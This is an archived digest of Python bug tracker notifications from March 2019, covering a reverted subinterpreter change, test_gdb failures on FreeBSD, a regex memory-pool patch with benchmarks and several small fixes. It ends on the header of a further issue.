----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:13:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:13:10 +0000
Subject: [issue36177] test_io: test_daemon_threads_shutdown_stdout_deadlock()
 fails on x86 Windows7 3.x
In-Reply-To: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>
Message-ID: <1551705190.68.0.390887138877.issue36177@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

It seems like this issue is a regression caused by bpo-33608.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36177>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:13:50 2019
From: report at bugs.python.org (Ma Lin)
Date: Mon, 04 Mar 2019 13:13:50 +0000
Subject: [issue23689] Memory leak in Modules/sre_lib.h
In-Reply-To: <1426611380.23.0.46113718722.issue23689@psf.upfronthosting.co.za>
Message-ID: <1551705230.84.0.670202011181.issue23689@roundup.psfhosted.org>


Change by Ma Lin <malincns at 163.com>:


----------
pull_requests: +12158

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23689>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:15:34 2019
From: report at bugs.python.org (Ma Lin)
Date: Mon, 04 Mar 2019 13:15:34 +0000
Subject: [issue23689] Memory leak in Modules/sre_lib.h
In-Reply-To: <1426611380.23.0.46113718722.issue23689@psf.upfronthosting.co.za>
Message-ID: <1551705334.03.0.403109792165.issue23689@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

PR11926 (closed) tried to allocate SRE_REPEAT on state's stack.
It's feasible, but messes up the code in sre_lib.h, and reduces performance a little (roughly 6% slower), so I gave up this solution.

PR12160 uses a memory pool, this solution doesn't mess up the code.

?For infrequent alloc/free scenes, it adds a small overhead:

s = 'a'
p = re.compile(r'(a)?')
p.match(s)  # <- measure this statement

before patch: 316 ns  +- 19 ns
after patch:  324 ns  +- 11 ns, 2.5% slower.
(by perf module)

?For very frequent alloc/free scenes, it brings a speedup:

s = 200_000_000 * 'a'
p = re.compile(r'.*?(?:bb)+')
p.match(s)  # <- measure this statement

before patch: 7.16 sec
after patch:  5.82 sec, 18.7% faster.
(best of 10 tests)

?I tested in a real case that use 17 patterns to process 100MB data:

before patch: 27.09 sec
after patch:  26.78 sec, 1.1% faster.
(best of 4 tests)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23689>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:21:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:21:31 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551705691.48.0.108054498823.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 4d61e6e3b802399be62a521d6fa785698cb670b5 by Victor Stinner in branch 'master':
Revert: bpo-33608: Factor out a private, per-interpreter _Py_AddPendingCall(). (GH-11617) (GH-12159)
https://github.com/python/cpython/commit/4d61e6e3b802399be62a521d6fa785698cb670b5


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:21:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:21:31 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1551705691.42.0.949987830484.issue36097@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 4d61e6e3b802399be62a521d6fa785698cb670b5 by Victor Stinner in branch 'master':
Revert: bpo-33608: Factor out a private, per-interpreter _Py_AddPendingCall(). (GH-11617) (GH-12159)
https://github.com/python/cpython/commit/4d61e6e3b802399be62a521d6fa785698cb670b5


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:21:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:21:47 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551705707.19.0.510720660433.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Hi Eric, I'm sorry but I had to revert your recent work. It introduced regressions in at least in test_io and test_multiprocessing_spawn on Windows and FreeBSD. I simply don't have the bandwidth to investigate this regression yet, whereas we really need the CI to remain stable to catch other regressions (the master branch received multiple new features recently, and there are some other regressions by that way ;-)).

test_multiprocessing_spawn is *very* hard to reproduce on FreeBSD, but I can reliably reproduce it. It just takes time. The issue is a crash producing a coredump. I consider that the bug is important enough to justify a revert.

The revert is an opportunity to seat down and track the root cause rather than urging to push a "temporary" quickfix. This bug seems to be very deep in the Python internals: thread state during Python shutdown. So it will take time to fully understand it and fix it (or redesign your recent changes, I don't know).

Tell me if you need my help to reproduce the bug. The bug has been seen on FreeBSD but also Windows:

* test_multiprocessing_spawn started to produce coredumps on FreeBSD: https://bugs.python.org/issue36114
* test_multiprocessing_spawn started to fail randomly on Windows: https://bugs.python.org/issue36116
* test_io started to fail randomly on Windows: https://bugs.python.org/issue36177

-- The Night's Watch

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:22:15 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Mon, 04 Mar 2019 13:22:15 +0000
Subject: [issue36182] Path.write_text() docs do not include the case that a
 file exists
In-Reply-To: <1551703881.69.0.0731434428442.issue36182@roundup.psfhosted.org>
Message-ID: <1551705735.03.0.792540571241.issue36182@roundup.psfhosted.org>


Change by Lysandros Nikolaou <lisandrosnik at gmail.com>:


----------
keywords: +patch
pull_requests: +12159
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36182>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:25:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 13:25:42 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551705942.2.0.552384664019.issue33608@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

For curious people, Pablo Galindo spent a few hours to investigate https://bugs.python.org/issue36114 and I spent a few more hours to finish the analysis. The bug indirectly crashed my laptop :-)
https://twitter.com/VictorStinner/status/1102528982036201478

That's what I mean by "I don't have the bandwidth": we already spent hours to identify the regression ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 08:57:44 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 13:57:44 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1551707864.24.0.980019001267.issue35859@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Thank you for your great work Ma Lin! But it will take a time to make a review of it.

Could you please create and run some microbenchmarks to measure possible performance penalty of additional MARH_PUSHes? I am especially interesting in worst cases. If the penalty is significant, it will be a goal of future optimizations. If it is unsignificant, we will not be bothered about this.

I am not sure about backporting these changes. This behavior is such old, that there is a chance to break someone's code that depend on it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35859>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:06:26 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 14:06:26 +0000
Subject: [issue36181] Add mode parameter to PurePath.write_text to allow for
 'a' mode
In-Reply-To: <1551702068.78.0.254076566761.issue36181@roundup.psfhosted.org>
Message-ID: <1551708386.81.0.951768141809.issue36181@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36181>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:08:42 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 14:08:42 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
In-Reply-To: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>
Message-ID: <1551708522.25.0.240210887018.issue36158@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:09:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:09:25 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x
 failed
Message-ID: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x failed.

Can it be related to my revert, commit 4d61e6e3b802399be62a521d6fa785698cb670b5?

https://buildbot.python.org/all/#/builders/168/builds/676

FAIL: test_corrupt_tp_flags (test.test_gdb.PrettyPrintTests)
FAIL: test_corrupt_tp_name (test.test_gdb.PrettyPrintTests)
FAIL: test_dicts (test.test_gdb.PrettyPrintTests)
FAIL: test_exceptions (test.test_gdb.PrettyPrintTests)
FAIL: test_frames (test.test_gdb.PrettyPrintTests)
FAIL: test_frozensets (test.test_gdb.PrettyPrintTests)
FAIL: test_getting_backtrace (test.test_gdb.PrettyPrintTests)
FAIL: test_int (test.test_gdb.PrettyPrintTests)
FAIL: test_lists (test.test_gdb.PrettyPrintTests)
FAIL: test_modern_class (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_dict (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_list (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_new_style_instance (test.test_gdb.PrettyPrintTests)
FAIL: test_selfreferential_old_style_instance (test.test_gdb.PrettyPrintTests)
FAIL: test_sets (test.test_gdb.PrettyPrintTests)
FAIL: test_singletons (test.test_gdb.PrettyPrintTests)
FAIL: test_strings (test.test_gdb.PrettyPrintTests)
FAIL: test_subclassing_list (test.test_gdb.PrettyPrintTests)
FAIL: test_subclassing_tuple (test.test_gdb.PrettyPrintTests)
FAIL: test_truncation (test.test_gdb.PrettyPrintTests)
FAIL: test_tuples (test.test_gdb.PrettyPrintTests)
FAIL: test_basic_command (test.test_gdb.PyListTests)
FAIL: test_one_abs_arg (test.test_gdb.PyListTests)
FAIL: test_two_abs_args (test.test_gdb.PyListTests)
FAIL: test_down_at_bottom (test.test_gdb.StackNavigationTests)
FAIL: test_pyup_command (test.test_gdb.StackNavigationTests)
FAIL: test_up_at_top (test.test_gdb.StackNavigationTests)
FAIL: test_up_then_down (test.test_gdb.StackNavigationTests)
FAIL: test_bt (test.test_gdb.PyBtTests)
FAIL: test_bt_full (test.test_gdb.PyBtTests)
FAIL: test_gc (test.test_gdb.PyBtTests)
FAIL: test_pycfunction (test.test_gdb.PyBtTests)
FAIL: test_threads (test.test_gdb.PyBtTests)
FAIL: test_wrapper_call (test.test_gdb.PyBtTests)
FAIL: test_basic_command (test.test_gdb.PyPrintTests)
FAIL: test_print_after_up (test.test_gdb.PyPrintTests)
FAIL: test_printing_builtin (test.test_gdb.PyPrintTests)
FAIL: test_printing_global (test.test_gdb.PyPrintTests)
FAIL: test_basic_command (test.test_gdb.PyLocalsTests)
FAIL: test_locals_after_up (test.test_gdb.PyLocalsTests)

Example:

======================================================================
FAIL: test_NULL_ob_type (test.test_gdb.PrettyPrintTests)
Ensure that a PyObject* with NULL ob_type is handled gracefully
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 533, in test_NULL_ob_type
    self.assertSane('id(42)',
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 504, in assertSane
    self.get_gdb_repr(source,
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 269, in get_gdb_repr
    gdb_output = self.get_stack_trace(source, breakpoint=BREAKPOINT_FN,
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_gdb.py", line 249, in get_stack_trace
    self.assertEqual(unexpected_errlines, [])
AssertionError: Lists differ: ['Error: ', 'During startup program exited[62 chars]ck.'] != []

First list contains 4 additional elements.
First extra element 0:
'Error: '

+ []
- ['Error: ',
-  'During startup program exited with code 127.',
-  'No symbol "v" in current context.',
-  'No stack.']

----------
components: Tests
messages: 337119
nosy: pablogsal, vstinner
priority: normal
severity: normal
status: open
title: test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x failed
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:23:48 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:23:48 +0000
Subject: [issue36184] test_gdb.test_threads() is specific to _POSIX_THREADS,
 fail on FreeBSD
Message-ID: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

On my FreeBSD VM, _POSIX_THREADS is not defined:

sys.thread_info: sys.thread_info(name='pthread', lock='semaphore', version=None)

test_gdb fails with:

Verify that "py-bt" indicates threads that are waiting for the GIL ... FAIL

======================================================================
FAIL: test_threads (test.test_gdb.PyBtTests)
Verify that "py-bt" indicates threads that are waiting for the GIL
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/vstinner/prog/python/master/Lib/test/test_gdb.py", line 826, in test_threads
    self.assertIn('Waiting for the GIL', gdb_output)
AssertionError: 'Waiting for the GIL' not found in 'Breakpoint 1 at 0x49e5d0: file Python/bltinmodule.c, line 1203.\n[New LWP 100742 of process 68315]\n[New LWP 100749 of process 68315]\n[New LWP 100751 of process 68315]\n[New LWP 100766 of process 68315]\n\nThread 1 hit Breakpoint 1, builtin_id (self=, v=42) at Python/bltinmodule.c:1203\n1203\t    return PyLong_FromVoidPtr(v);\n\nThread 5 (LWP 100766 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 4 (LWP 100751 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 3 (LWP 100749 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 2 (LWP 100742 of process 68315):\nTraceback (most recent call first):\n  File "<string>", line 10, in run\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 917, in _bootstrap_inner\n    self.run()\n  File "/usr/home/vstinner/prog/python/master/Lib/threading.py", line 885, in _bootstrap\n    self._bootstrap_inner()\n\nThread 1 (LWP 100559 of process 68315):\nTraceback (most recent call first):\n  <built-in method id of module object at remote 0x800bccde8>\n  File "<string>", line 18, in <module>\n'


=> 'Waiting for the GIL' cannot be found in the output, because python-gdb.py failed to detect that a threading is waiting for the GIL.


The problem can be found in Tools/gdb/libpython.py:

    def is_waiting_for_gil(self):
        '''Is this frame waiting on the GIL?'''
        # This assumes the _POSIX_THREADS version of Python/ceval_gil.h:
        name = self._gdbframe.name()
        if name:
            return 'pthread_cond_timedwait' in name

pthread_cond_timedwait() is too close to POSIX threads. We can make this function more portable by checking for 'take_gil' function instead.

----------
components: Library (Lib)
messages: 337120
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_gdb.test_threads() is specific to _POSIX_THREADS, fail on FreeBSD
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:25:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:25:22 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x
 failed
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551709522.18.0.260164282385.issue36183@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> https://buildbot.python.org/all/#/builders/168/builds/676

Extract of pythoninfo:

gdb_version: GNU gdb (GDB) 8.2.1 [GDB v8.2.1 for FreeBSD]
sys.thread_info: sys.thread_info(name='pthread', lock='semaphore', version=None)

I'm unable to reproduce the issue on my FreeBSD 12 VM. But on my VM... I get a different issue: bpo-36184 "test_gdb.test_threads() is specific to _POSIX_THREADS, fail on FreeBSD".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:25:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:25:40 +0000
Subject: [issue36184] [EASY] test_gdb.test_threads() is specific to
 _POSIX_THREADS, fail on FreeBSD
In-Reply-To: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>
Message-ID: <1551709540.76.0.178782437094.issue36184@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +easy
title: test_gdb.test_threads() is specific to _POSIX_THREADS, fail on FreeBSD -> [EASY] test_gdb.test_threads() is specific to _POSIX_THREADS, fail on FreeBSD

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:43:18 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:43:18 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
Message-ID: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Issue reported at:
https://github.com/python/cpython/pull/11119/files/650ed79e9dcd6f12b2cd0adcc9d6e3fd1ea929d0#diff-dec96ce8ae89cc364fa198f94357a1ab

> There is a typo in "corresponding"

Does someone want to write a PR?

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 337122
nosy: docs at python, vstinner
priority: normal
severity: normal
status: open
title: [EASY DOC] typo: Doc/c-api/objbuffer.rst:  There is a typo in "corresponding"
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:48:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:48:46 +0000
Subject: [issue35198] Build issue while compiling cpp files in AIX
In-Reply-To: <1541776845.13.0.788709270274.issue35198@psf.upfronthosting.co.za>
Message-ID: <1551710926.2.0.400700954435.issue35198@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 800d5cd75025876d79ab05980925a05d8e36b63d by Victor Stinner (Kevin Adler) in branch 'master':
bpo-35198 Fix C++ extension compilation on AIX (GH-10437)
https://github.com/python/cpython/commit/800d5cd75025876d79ab05980925a05d8e36b63d


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35198>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:48:54 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 14:48:54 +0000
Subject: [issue35198] Build issue while compiling cpp files in AIX
In-Reply-To: <1541776845.13.0.788709270274.issue35198@psf.upfronthosting.co.za>
Message-ID: <1551710934.84.0.206697548896.issue35198@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12160

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35198>
_______________________________________

From report at bugs.python.org  Mon Mar  4 09:51:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 14:51:31 +0000
Subject: [issue20906] Issues in Unicode HOWTO
In-Reply-To: <1394702187.81.0.00522221343959.issue20906@psf.upfronthosting.co.za>
Message-ID: <1551711091.03.0.188996664099.issue20906@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I see a change, so I guess that this old issue can now be fixed. Anything, the issue didn't get much activity last years.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20906>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:00:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:00:05 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1551711605.36.0.943226786473.issue35998@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Interesting code in test_ssl.py:

            except (ConnectionResetError, BrokenPipeError) as e:
                # We treat ConnectionResetError as though it were an
                # SSLError - OpenSSL on Ubuntu abruptly closes the
                # connection when asked to use an unsupported protocol.
                #
                # BrokenPipeError is raised in TLS 1.3 mode, when OpenSSL
                # tries to send session tickets after handshake.
                # https://github.com/openssl/openssl/issues/6342
                self.server.conn_errors.append(str(e))
                if self.server.chatty:
                    handle_error("\n server:  bad connection attempt from " + repr(self.addr) + ":\n")
                self.running = False
                self.close()
                return False

and

                except ConnectionResetError:
                    # XXX: OpenSSL 1.1.1 sometimes raises ConnectionResetError
                    # when connection is not shut down gracefully.
                    if self.server.chatty and support.verbose:
                        sys.stdout.write(
                            " Connection reset by peer: {}\n".format(
                                self.addr)
                        )
                    self.close()
                    self.running = False


Interesting commit:

commit 529525fb5a8fd9b96ab4021311a598c77588b918
Author: Christian Heimes <christian at python.org>
Date:   Wed May 23 22:24:45 2018 +0200

    bpo-33618: Enable TLS 1.3 in tests (GH-7079)
    
    TLS 1.3 behaves slightly different than TLS 1.2. Session tickets and TLS
    client cert auth are now handled after the initialy handshake. Tests now
    either send/recv data to trigger session and client certs. Or tests
    ignore ConnectionResetError / BrokenPipeError on the server side to
    handle clients that force-close the socket fd.
    
    To test TLS 1.3, OpenSSL 1.1.1-pre7-dev (git master + OpenSSL PR
    https://github.com/openssl/openssl/pull/6340) is required.
    
    Signed-off-by: Christian Heimes <christian at python.org>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:02:58 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:02:58 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x
 failed
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551711778.63.0.968394964824.issue36183@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I tested gdb on the buildbot and I got permission errors, at least under my user "haypo":

warning: Could not trace the inferior process.
Error: 
warning: ptrace: Operation not permitted


Logs:

CURRENT-amd64% gdb -args ./python Lib/test/gdb_sample.py
GNU gdb (GDB) 8.2.1 [GDB v8.2.1 for FreeBSD]
(...)
warning: File "/usr/home/haypo/cpython/python-gdb.py" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load:~/prog/".
To enable execution of this file add
	add-auto-load-safe-path /usr/home/haypo/cpython/python-gdb.py
line to your configuration file "/home/haypo/.gdbinit".
To completely disable this security protection add
	set auto-load safe-path /
line to your configuration file "/home/haypo/.gdbinit".

(...)

(gdb) b builtin_id
Breakpoint 1 at 0x451264: file Python/bltinmodule.c, line 1203.

(gdb) run
Starting program: /usr/home/haypo/cpython/python Lib/test/gdb_sample.py
warning: Could not trace the inferior process.
Error: 
warning: ptrace: Operation not permitted

----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:05:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:05:29 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x
 failed
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551711929.58.0.270498206502.issue36183@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

On my FreeBSD 12.0 VM, "py-bt" works as expected. It might be a recent change in FreeBSD CURRENT kernel?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:06:39 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 15:06:39 +0000
Subject: [issue35198] Build issue while compiling cpp files in AIX
In-Reply-To: <1541776845.13.0.788709270274.issue35198@psf.upfronthosting.co.za>
Message-ID: <1551711999.63.0.431096101926.issue35198@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 06e9953d5e3f0144ec8247b61541e7be85d55b50 by Miss Islington (bot) in branch '3.7':
bpo-35198 Fix C++ extension compilation on AIX (GH-10437)
https://github.com/python/cpython/commit/06e9953d5e3f0144ec8247b61541e7be85d55b50


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35198>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:15:13 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 04 Mar 2019 15:15:13 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
In-Reply-To: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>
Message-ID: <1551712513.78.0.663363024879.issue36185@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Shouldn't this be kept for the documentation sprint?

----------
nosy: +cheryl.sabella, remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:25:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:25:03 +0000
Subject: [issue35198] Build issue while compiling cpp files in AIX
In-Reply-To: <1541776845.13.0.788709270274.issue35198@psf.upfronthosting.co.za>
Message-ID: <1551713103.02.0.727019834231.issue35198@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Kevin Adler.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35198>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:29:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:29:53 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551713393.91.0.0494910309724.issue36183@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
title: test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x failed -> test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:37:06 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Mon, 04 Mar 2019 15:37:06 +0000
Subject: [issue36186] [2.7] Coverity scan: Modules/linuxaudiodev.c ,
 fd handle is not closed.
Message-ID: <1551713826.41.0.114140422671.issue36186@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

There are two places [0][1] in the code where NULL is returned but the fd handle is not closed.

[0] https://github.com/python/cpython/blob/2.7/Modules/linuxaudiodev.c#L129
[1] https://github.com/python/cpython/blob/2.7/Modules/linuxaudiodev.c#L133

----------
components: Extension Modules
messages: 337131
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity scan: Modules/linuxaudiodev.c , fd handle is not closed.
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36186>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:40:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:40:28 +0000
Subject: [issue13096] ctypes: segfault with large POINTER type names
